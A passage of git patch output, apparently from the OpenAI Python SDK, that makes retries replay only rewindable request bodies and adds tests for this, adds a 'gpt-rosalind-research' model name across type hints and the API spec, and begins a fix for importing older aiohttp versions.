You can use the `max_retries` option to configure or disable retry settings:
```python
@@ -780,8 +782,8 @@ client.with_options(max_retries=5).chat.completions.create(
integer, such as `1000`, for a larger retry budget. Other values raise an error
before a request is sent.
-Transport failures are retried. Application exceptions raised by custom transports
-or hooks propagate unchanged, including task-executor cancellation signals.
+Application exceptions raised by custom transports or hooks propagate unchanged,
+including task-executor cancellation signals.
## Timeouts
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index c85f4f3e76..be99ab7683 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -111,6 +111,66 @@
log: logging.Logger = logging.getLogger(__name__)
log.addFilter(SensitiveHeadersFilter())
+
+class _RequestBodyReplay:
+ def __init__(self, options: FinalRequestOptions) -> None:
+ self._positions: list[tuple[object, int]] = []
+ self._replayable = all(
+ self._capture(content) for content in (options.content, *_iter_file_contents(options.files))
+ )
+
+ def _capture(self, content: object) -> bool:
+ if content is None or isinstance(content, (bytes, bytearray)):
+ return True
+
+ if not callable(getattr(content, "read", None)):
+ # Iterable protocols do not guarantee a fresh iterator: a wrapper can
+ # return the same stored generator. Only trust known concrete containers.
+ return type(content) in (list, tuple)
+
+ seekable = getattr(content, "seekable", None)
+ tell = getattr(content, "tell", None)
+ seek = getattr(content, "seek", None)
+ if not callable(seekable) or not callable(tell) or not callable(seek):
+ return False
+ try:
+ if not seekable():
+ return False
+ position = tell()
+ except (OSError, ValueError):
+ return False
+ if not isinstance(position, int):
+ return False
+ self._positions.append((content, position))
+ return True
+
+ def rewind(self) -> bool:
+ # Reject a non-replayable body before moving any of its streams.
+ if not self._replayable:
+ return False
+ for content, position in self._positions:
+ seek = getattr(content, "seek", None)
+ if not callable(seek):
+ return False
+ try:
+ seek(position)
+ except (OSError, ValueError):
+ return False
+ return True
+
+
+def _iter_file_contents(files: HttpxRequestFiles | None) -> Iterator[object]:
+ if files is None:
+ return
+
+ entries = files.items() if isinstance(files, Mapping) else files
+ for _, file in entries:
+ if isinstance(file, tuple) and len(file) > 1:
+ yield file[1]
+ else:
+ yield file
+
+
# TODO: make base page type vars covariant
SyncPageT = TypeVar("SyncPageT", bound="BaseSyncPage[Any]")
AsyncPageT = TypeVar("AsyncPageT", bound="BaseAsyncPage[Any]")
@@ -1062,6 +1122,7 @@ def request(
for retries_taken in range(max_retries + 1):
options = model_copy(input_options)
options = self._prepare_options(options)
+ request_body_replay = _RequestBodyReplay(options)
remaining_retries = max_retries - retries_taken
request = self._build_request(options, retries_taken=retries_taken)
@@ -1091,7 +1152,7 @@ def request(
except timeout_exceptions() as err:
log.debug("Encountered a timeout exception: %s", type(err).__name__)
- if remaining_retries > 0:
+ if remaining_retries > 0 and request_body_replay.rewind():
self._sleep_for_retry(
retries_taken=retries_taken,
max_retries=max_retries,
@@ -1108,7 +1169,7 @@ def request(
except request_exceptions() as err:
log.debug("Encountered exception: %s", type(err).__name__)
- if remaining_retries > 0:
+ if remaining_retries > 0 and request_body_replay.rewind():
self._sleep_for_retry(
retries_taken=retries_taken,
max_retries=max_retries,
@@ -1132,7 +1193,7 @@ def request(
except status_exceptions() as err: # thrown on 4xx and 5xx status code
log.debug("Encountered an HTTP status error: %i", response.status_code)
- if remaining_retries > 0 and self._should_retry(err.response):
+ if remaining_retries > 0 and self._should_retry(err.response) and request_body_replay.rewind():
err.response.close()
self._sleep_for_retry(
retries_taken=retries_taken,
@@ -1687,6 +1748,7 @@ async def request(
for retries_taken in range(max_retries + 1):
options = model_copy(input_options)
options = await self._prepare_options(options)
+ request_body_replay = _RequestBodyReplay(options)
remaining_retries = max_retries - retries_taken
request = self._build_request(options, retries_taken=retries_taken)
@@ -1715,7 +1777,7 @@ async def request(
except timeout_exceptions() as err:
log.debug("Encountered a timeout exception: %s", type(err).__name__)
- if remaining_retries > 0:
+ if remaining_retries > 0 and request_body_replay.rewind():
await self._sleep_for_retry(
retries_taken=retries_taken,
max_retries=max_retries,
@@ -1732,7 +1794,7 @@ async def request(
except request_exceptions() as err:
log.debug("Encountered exception: %s", type(err).__name__)
- if remaining_retries > 0:
+ if remaining_retries > 0 and request_body_replay.rewind():
await self._sleep_for_retry(
retries_taken=retries_taken,
max_retries=max_retries,
@@ -1756,7 +1818,7 @@ async def request(
except status_exceptions() as err: # thrown on 4xx and 5xx status code
log.debug("Encountered an HTTP status error: %i", response.status_code)
- if remaining_retries > 0 and self._should_retry(err.response):
+ if remaining_retries > 0 and self._should_retry(err.response) and request_body_replay.rewind():
await err.response.aclose()
await self._sleep_for_retry(
retries_taken=retries_taken,
diff --git a/tests/test_client.py b/tests/test_client.py
index 3fd6b8fa41..01626384b4 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -1,6 +1,7 @@
from __future__ import annotations
import gc
+import io
import os
import sys
import json
@@ -9,7 +10,7 @@
import inspect
import dataclasses
import tracemalloc
-from typing import Any, Union, TypeVar, Callable, Iterable, Iterator, Optional, Coroutine, cast
+from typing import Any, Union, TypeVar, Callable, Iterable, Iterator, Optional, Coroutine, AsyncIterable, cast
from unittest import mock
from typing_extensions import Literal, AsyncIterator, override
@@ -24,7 +25,7 @@
from openai._utils import asyncify
from openai._models import BaseModel, FinalRequestOptions
from openai._streaming import Stream, AsyncStream
-from openai._exceptions import APIStatusError, APITimeoutError, APIResponseValidationError
+from openai._exceptions import APIStatusError, APITimeoutError, APIConnectionError, APIResponseValidationError
from openai._base_client import (
DEFAULT_TIMEOUT,
HTTPX_DEFAULT_TIMEOUT,
@@ -114,6 +115,38 @@ async def _make_async_iterator(iterable: Iterable[T], counter: Optional[Counter]
yield item
+class _OneShotIterable(Iterable[T]):
+ def __init__(self, iterable: Iterable[T]) -> None:
+ self._iterator = iter(iterable)
+
+ @override
+ def __iter__(self) -> Iterator[T]:
+ return self._iterator
+
+
+class _OneShotAsyncIterable(AsyncIterable[T]):
+ def __init__(self, iterable: Iterable[T]) -> None:
+ self._iterator = _make_async_iterator(iterable)
+
+ @override
+ def __aiter__(self) -> AsyncIterator[T]:
+ return self._iterator
+
+
+class _NonSeekableBytesIO(io.BytesIO):
+ @override
+ def seekable(self) -> bool:
+ return False
+
+ @override
+ def seek(self, offset: int, whence: int = 0) -> int:
+ raise io.UnsupportedOperation("seek")
+
+ @override
+ def tell(self) -> int:
+ raise io.UnsupportedOperation("tell")
+
+
def _get_open_connections(client: OpenAI | AsyncOpenAI) -> int:
transport = client._client._transport
if isinstance(transport, httpx2.HTTPTransport) or isinstance(transport, httpx2.AsyncHTTPTransport):
@@ -842,6 +875,190 @@ def mock_handler(request: httpx2.Request) -> httpx2.Response:
assert response.content == file_content
assert counter.value == 1
+ @pytest.mark.parametrize("content_factory", [_make_sync_iterator, _OneShotIterable])
+ @pytest.mark.parametrize("failure_mode", ["status", "timeout", "connection"])
+ def test_binary_content_retry_does_not_reuse_one_shot_iterable(
+ self,
+ content_factory: Callable[[Iterable[bytes]], Iterable[bytes]],
+ failure_mode: Literal["status", "timeout", "connection"],
+ ) -> None:
+ file_content = b"Hello, this is a test file."
+ request_bodies: list[bytes] = []
+
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(request.read())
+ if len(request_bodies) > 1:
+ return httpx2.Response(200)
+ if failure_mode == "timeout":
+ raise httpx2.ReadTimeout("timed out", request=request)
+ if failure_mode == "connection":
+ raise httpx2.ConnectError("connection failed", request=request)
+ return httpx2.Response(500, json={"error": {}})
+
+ expected_error = {
+ "status": APIStatusError,
+ "timeout": APITimeoutError,
+ "connection": APIConnectionError,
+ }[failure_mode]
+
+ with OpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ with pytest.raises(expected_error):
+ client.post(
+ "/upload",
+ content=content_factory([file_content]),
+ cast_to=httpx2.Response,
+ )
+
+ assert request_bodies == [file_content]
+
+ @pytest.mark.parametrize("content_type", [list, tuple])
+ @mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
+ def test_binary_content_retry_reuses_known_repeatable_iterable(
+ self, content_type: type[list[bytes]] | type[tuple[bytes, ...]]
+ ) -> None:
+ file_content = b"Hello, this is a test file."
+ request_bodies: list[bytes] = []
+
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(request.read())
+ return httpx2.Response(500 if len(request_bodies) == 1 else 200, json={"error": {}})
+
+ with OpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ response = client.post(
+ "/upload",
+ content=content_type([file_content]),
+ cast_to=httpx2.Response,
+ )
+
+ assert response.status_code == 200
+ assert request_bodies == [file_content, file_content]
+
+ def test_binary_content_retry_checks_prepared_options(self) -> None:
+ file_content = b"Hello, this prepared body must not be replayed."
+ prepared_content = _OneShotIterable([file_content])
+ request_bodies: list[bytes] = []
+
+ def prepare_options(options: FinalRequestOptions) -> FinalRequestOptions:
+ options.content = prepared_content
+ return options
+
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(request.read())
+ return httpx2.Response(500 if len(request_bodies) == 1 else 200, json={"error": {}})
+
+ with OpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ with mock.patch.object(client, "_prepare_options", side_effect=prepare_options):
+ with pytest.raises(APIStatusError):
+ client.post("/upload", content=file_content, cast_to=httpx2.Response)
+
+ assert request_bodies == [file_content]
+
+ def test_multipart_retry_does_not_reuse_non_seekable_file(self) -> None:
+ file_content = b"Hello, this multipart file must not be replayed."
+ earlier_file = io.BytesIO(b"first file")
+ request_bodies: list[bytes] = []
+
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(request.read())
+ return httpx2.Response(500, json={"error": {}})
+
+ with OpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ with pytest.raises(APIStatusError):
+ client.post(
+ "/upload",
+ files={
+ "first": ("first.txt", earlier_file),
+ "file": ("upload.txt", _NonSeekableBytesIO(file_content), "text/plain"),
+ },
+ cast_to=httpx2.Response,
+ )
+
+ assert len(request_bodies) == 1
+ assert file_content in request_bodies[0]
+ # The first send consumes this file; refusing a retry must not rewind it.
+ assert earlier_file.tell() == len(b"first file")
+
+ @pytest.mark.parametrize("rewind_fails", [False, True], ids=["rewind", "closed-file"])
+ def test_multipart_retry_rewinds_seekable_file(self, rewind_fails: bool) -> None:
+ file_content = b"Hello, this multipart file can be replayed."
+ file = io.BytesIO(file_content)
+ original_response = httpx2.Response(500)
+ request_bodies: list[bytes] = []
+
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(request.read())
+ if rewind_fails:
+ file.close()
+ return original_response if len(request_bodies) == 1 else httpx2.Response(200)
+
+ with OpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ try:
+ response = client.post(
+ "/upload",
+ files={"file": ("upload.txt", file, "text/plain")},
+ cast_to=httpx2.Response,
+ )
+ except APIStatusError as exc:
+ assert rewind_fails
+ assert exc.response is original_response
+ else:
+ assert not rewind_fails
+ assert response.status_code == 200
+
+ assert len(request_bodies) == (1 if rewind_fails else 2)
+ assert all(file_content in body for body in request_bodies)
+
+ @mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
+ def test_binary_content_retry_rewinds_seekable_stream(self) -> None:
+ file_content = b"Hello, this is a test file."
+ request_bodies: list[bytes] = []
+
+ def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(request.read())
+ return httpx2.Response(500 if len(request_bodies) == 1 else 200, json={"error": {}})
+
+ with OpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.Client(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ content = io.BytesIO(b"prefix" + file_content)
+ content.seek(len(b"prefix"))
+ response = client.post(
+ "/upload",
+ content=content,
+ cast_to=httpx2.Response,
+ )
+
+ assert response.status_code == 200
+ assert request_bodies == [file_content, file_content]
+
@pytest.mark.respx2(base_url=base_url)
def test_binary_content_upload_with_body_is_deprecated(self, respx2_mock: MockRouter, client: OpenAI) -> None:
respx2_mock.post("/upload").mock(side_effect=mirror_request_content)
@@ -2197,6 +2414,137 @@ async def mock_handler(request: httpx2.Request) -> httpx2.Response:
assert response.content == file_content
assert counter.value == 1
+ @pytest.mark.parametrize("content_factory", [_make_async_iterator, _OneShotAsyncIterable])
+ @pytest.mark.parametrize("failure_mode", ["status", "timeout", "connection"])
+ async def test_binary_content_retry_does_not_reuse_one_shot_asynciterable(
+ self,
+ content_factory: Callable[[Iterable[bytes]], AsyncIterable[bytes]],
+ failure_mode: Literal["status", "timeout", "connection"],
+ ) -> None:
+ file_content = b"Hello, this is a test file."
+ request_bodies: list[bytes] = []
+
+ async def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(await request.aread())
+ if len(request_bodies) > 1:
+ return httpx2.Response(200)
+ if failure_mode == "timeout":
+ raise httpx2.ReadTimeout("timed out", request=request)
+ if failure_mode == "connection":
+ raise httpx2.ConnectError("connection failed", request=request)
+ return httpx2.Response(500, json={"error": {}})
+
+ expected_error = {
+ "status": APIStatusError,
+ "timeout": APITimeoutError,
+ "connection": APIConnectionError,
+ }[failure_mode]
+
+ async with AsyncOpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ with pytest.raises(expected_error):
+ await client.post(
+ "/upload",
+ content=content_factory([file_content]),
+ cast_to=httpx2.Response,
+ )
+
+ assert request_bodies == [file_content]
+
+ async def test_binary_content_retry_checks_prepared_options(self) -> None:
+ file_content = b"Hello, this prepared body must not be replayed."
+ prepared_content = _OneShotAsyncIterable([file_content])
+ request_bodies: list[bytes] = []
+
+ async def prepare_options(options: FinalRequestOptions) -> FinalRequestOptions:
+ options.content = prepared_content
+ return options
+
+ async def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(await request.aread())
+ return httpx2.Response(500 if len(request_bodies) == 1 else 200, json={"error": {}})
+
+ async with AsyncOpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ with mock.patch.object(client, "_prepare_options", side_effect=prepare_options):
+ with pytest.raises(APIStatusError):
+ await client.post("/upload", content=file_content, cast_to=httpx2.Response)
+
+ assert request_bodies == [file_content]
+
+ async def test_multipart_retry_does_not_reuse_non_seekable_file(self) -> None:
+ file_content = b"Hello, this multipart file must not be replayed."
+ earlier_file = io.BytesIO(b"first file")
+ request_bodies: list[bytes] = []
+
+ async def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(await request.aread())
+ return httpx2.Response(500, json={"error": {}})
+
+ async with AsyncOpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ with pytest.raises(APIStatusError):
+ await client.post(
+ "/upload",
+ files={
+ "first": ("first.txt", earlier_file),
+ "file": ("upload.txt", _NonSeekableBytesIO(file_content), "text/plain"),
+ },
+ cast_to=httpx2.Response,
+ )
+
+ assert len(request_bodies) == 1
+ assert file_content in request_bodies[0]
+ # The first send consumes this file; refusing a retry must not rewind it.
+ assert earlier_file.tell() == len(b"first file")
+
+ @pytest.mark.parametrize("rewind_fails", [False, True], ids=["rewind", "closed-file"])
+ async def test_multipart_retry_rewinds_seekable_file(self, rewind_fails: bool) -> None:
+ file_content = b"Hello, this multipart file can be replayed."
+ file = io.BytesIO(file_content)
+ original_response = httpx2.Response(500)
+ request_bodies: list[bytes] = []
+
+ async def mock_handler(request: httpx2.Request) -> httpx2.Response:
+ request_bodies.append(await request.aread())
+ if rewind_fails:
+ file.close()
+ return original_response if len(request_bodies) == 1 else httpx2.Response(200)
+
+ async with AsyncOpenAI(
+ base_url=base_url,
+ api_key=api_key,
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=MockTransport(handler=mock_handler)),
+ ) as client:
+ try:
+ response = await client.post(
+ "/upload",
+ files={"file": ("upload.txt", file, "text/plain")},
+ cast_to=httpx2.Response,
+ )
+ except APIStatusError as exc:
+ assert rewind_fails
+ assert exc.response is original_response
+ else:
+ assert not rewind_fails
+ assert response.status_code == 200
+
+ assert len(request_bodies) == (1 if rewind_fails else 2)
+ assert all(file_content in body for body in request_bodies)
+
@pytest.mark.respx2(base_url=base_url)
async def test_binary_content_upload_with_body_is_deprecated(
self, respx2_mock: MockRouter, async_client: AsyncOpenAI
From d041d736f75f03f6c87aa77f932823011691bac5 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Tue, 22 Sep 2026 20:41:13 +0000
Subject: [PATCH 196/341] feat(api): add GPT-Rosalind research model (#3940)
## Summary
Adds GPT-Rosalind research to the known Responses model names.
## Changes
- Include gpt-rosalind-research in Responses model type hints.
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 12 ++++++++++--
src/openai/resources/beta/responses/responses.py | 12 ++++++++++++
src/openai/resources/responses/responses.py | 2 ++
src/openai/types/beta/beta_response.py | 1 +
src/openai/types/beta/beta_responses_client_event.py | 1 +
.../types/beta/beta_responses_client_event_param.py | 1 +
src/openai/types/beta/environment_param.py | 4 +++-
src/openai/types/beta/response_compact_params.py | 1 +
src/openai/types/beta/response_create_params.py | 1 +
.../types/responses/response_compact_params.py | 1 +
src/openai/types/shared/all_models.py | 1 +
src/openai/types/shared/responses_model.py | 1 +
src/openai/types/shared_params/responses_model.py | 1 +
14 files changed, 42 insertions(+), 9 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 593f552e6d..78d65fd35d 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 55efa5f7-488d-441d-9d8a-122049a1529a
-openapi_spec_hash: dd4d5f4645d390dcaa730d96ff8256b9
-openapi_transformed_spec_hash: 46069ae7031d4c47bc28d2e565e74465
+generation_id: c8c6bf6c-8bff-434a-b978-585a27465fa8
+openapi_spec_hash: 6a2e60e178aa24527fca9f135ac4496d
+openapi_transformed_spec_hash: effb859cf813a2e353712f1ecfc81c08
config_hash: 18f602826c88bad76c6fdf08ab67247a
-codegen_sha: c3ce80b15a62c6073590d3d3dae24c3add7c078d
-codegen_hash: 3558f0e3ddec29671f90a9da98e765a85fce601f27cc11fea5a4357490a845fb
-public_codegen_sha: 37caadca9e7294870cac83ccc132d1df69d06b31
+codegen_sha: 14a34feb242913af4804472ab683ca8782bf39d7
+codegen_hash: e4941790e2be3ec721829183f7ae6daf6b05fedcdb00b37971d988ac4b671e4c
+public_codegen_sha: 19f5aa746f2bc5d9f5affdae7a05d8c92e0c4ab1
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index daa1172db5..e29469406b 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -45850,6 +45850,7 @@ components:
- gpt-daybreak-blue-latest
- gpt-daybreak-red-latest
- gpt-5.6-cyber
+ - gpt-rosalind-research
ModelIdsShared:
example: gpt-6-astra
anyOf:
@@ -73939,6 +73940,12 @@ components:
- disconnected
- expired
- failed
+ x-enumDescriptions:
+ - ''
+ - ''
+ - ''
+ - ''
+ - ''
description: The public lifecycle status of an execution environment.
HostedEnvironmentFileResourceFileId:
type: object
@@ -78275,11 +78282,11 @@ components:
maxItems: 2000
description: Actions that must be completed before the session can continue.
error:
+ description: The error that caused the session to fail, if any.
type:
- string
- 'null'
minLength: 0
- description: The error that caused the session to fail, if any.
agent:
$ref: '#/components/schemas/SessionAgentResource'
description: The agent running in the session.
@@ -78820,7 +78827,7 @@ components:
required:
- type
additionalProperties: false
- description: An OpenAI-hosted environment, optionally based on a reusable template.
+ description: An existing OpenAI-hosted environment or new inline/template-based hosted configuration.
EnvironmentParamSelfHosted:
type: object
properties:
@@ -89136,6 +89143,7 @@ components:
- gpt-daybreak-blue-latest
- gpt-daybreak-red-latest
- gpt-5.6-cyber
+ - gpt-rosalind-research
BetaModelIdsShared:
example: gpt-6-astra
anyOf:
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 0a47ebb47d..69acc8768e 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -230,6 +230,7 @@ def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -636,6 +637,7 @@ def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -1041,6 +1043,7 @@ def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -1444,6 +1447,7 @@ def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -1930,6 +1934,7 @@ def compact(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
@@ -2227,6 +2232,7 @@ async def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -2633,6 +2639,7 @@ async def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -3038,6 +3045,7 @@ async def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -3441,6 +3449,7 @@ async def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -3927,6 +3936,7 @@ async def compact(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
@@ -5304,6 +5314,7 @@ def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
@@ -5557,6 +5568,7 @@ async def create(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 4d587f7884..5759ec3127 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1854,6 +1854,7 @@ def compact(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
@@ -3743,6 +3744,7 @@ async def compact(
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 6089aee9af..f983478749 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -447,6 +447,7 @@ class BetaResponse(BaseModel):
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 6d4815ea95..2917eba07c 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -435,6 +435,7 @@ class ResponseCreate(BaseModel):
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 53a97177a8..20699a8b53 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -435,6 +435,7 @@ class ResponseCreate(TypedDict, total=False):
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
diff --git a/src/openai/types/beta/environment_param.py b/src/openai/types/beta/environment_param.py
index 6eb5f3bc82..c6ab930bb1 100644
--- a/src/openai/types/beta/environment_param.py
+++ b/src/openai/types/beta/environment_param.py
@@ -60,7 +60,9 @@ class EnvironmentParamOpenAIHostedPackages(TypedDict, total=False):
class EnvironmentParamOpenAIHosted(TypedDict, total=False):
- """An OpenAI-hosted environment, optionally based on a reusable template."""
+ """
+ An existing OpenAI-hosted environment or new inline/template-based hosted configuration.
+ """
type: Required[Literal["openai_hosted"]]
"""The type of the object. Always `openai_hosted`."""
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 3586df2143..583efef3be 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -122,6 +122,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 4d75cb93aa..3b447f04ec 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -235,6 +235,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
]
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index c881d4b6b1..8fccf637c6 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -121,6 +121,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
str,
None,
diff --git a/src/openai/types/shared/all_models.py b/src/openai/types/shared/all_models.py
index 8db004bcf5..f702f8a8f9 100644
--- a/src/openai/types/shared/all_models.py
+++ b/src/openai/types/shared/all_models.py
@@ -30,5 +30,6 @@
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
]
diff --git a/src/openai/types/shared/responses_model.py b/src/openai/types/shared/responses_model.py
index 460087a867..efbbb06033 100644
--- a/src/openai/types/shared/responses_model.py
+++ b/src/openai/types/shared/responses_model.py
@@ -30,5 +30,6 @@
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
]
diff --git a/src/openai/types/shared_params/responses_model.py b/src/openai/types/shared_params/responses_model.py
index 19e301efc7..3c9f91cca1 100644
--- a/src/openai/types/shared_params/responses_model.py
+++ b/src/openai/types/shared_params/responses_model.py
@@ -32,5 +32,6 @@
"gpt-daybreak-blue-latest",
"gpt-daybreak-red-latest",
"gpt-5.6-cyber",
+ "gpt-rosalind-research",
],
]
From 0d91efbe5084c2f572688e8e9a05c0a91c8c0319 Mon Sep 17 00:00:00 2001
From: Rana Singh
Date: Tue, 22 Sep 2026 20:59:16 +0000
Subject: [PATCH 197/341] fix(client): tolerate older optional aiohttp
installations (#3941)
## Summary
Fixes #3939.
When older aiohttp is installed, importing the optional adapter
currently
raises `AttributeError` for `aiohttp.SocketTimeoutError`. The SDK
catches
`ImportError`, so this breaks `import openai` even for applications
using
only the default HTTPX2 clients.
Import the required exception explicitly so the existing
unavailable-adapter
path handles its absence. No SDK version bounds or new minimum aiohttp
version checks are introduced. The `openai[aiohttp]` dependency
requirement
remains unchanged, and the optional adapter remains unavailable on the
older exception surface.
This refreshes the minimal import change previously proposed by
@marcuswood-oai in #3868, with sync/async regressions and vendor
documentation.
## Validation
- Reproduced the original bare-import failure using the unmodified
v3.18.0
release and actual aiohttp 3.9.3.
- Added absent-aiohttp and pre-3.10 subprocess cases. The legacy case
failed
with the original `AttributeError` before the fix and passed afterward.
- Each subprocess exercises synchronous and asynchronous SDK requests
through HTTPX2 mock transports, checks the explicit unsupported-adapter
error, and verifies legacy HTTPX was not imported.
- The regression preserves `aiohttp.client` and earlier exception
imports
so an unrelated `ModuleNotFoundError` cannot make the old code pass.
- Targeted transport suites: 39 passed, one skipped because optional
`botocore` is not installed. This includes a real local HTTP request
through the supported aiohttp adapter.
- Real aiohttp 3.8.6, 3.9.3, 3.10.0, and 3.14.3 fixtures passed default
sync/async request probes against this patch. Old versions are test
fixtures, not recommended installations or supported aiohttp transports.
- Changed tests passed Ruff lint and formatting. Existing repository
exclusions for vendored code remain unchanged.
```shell
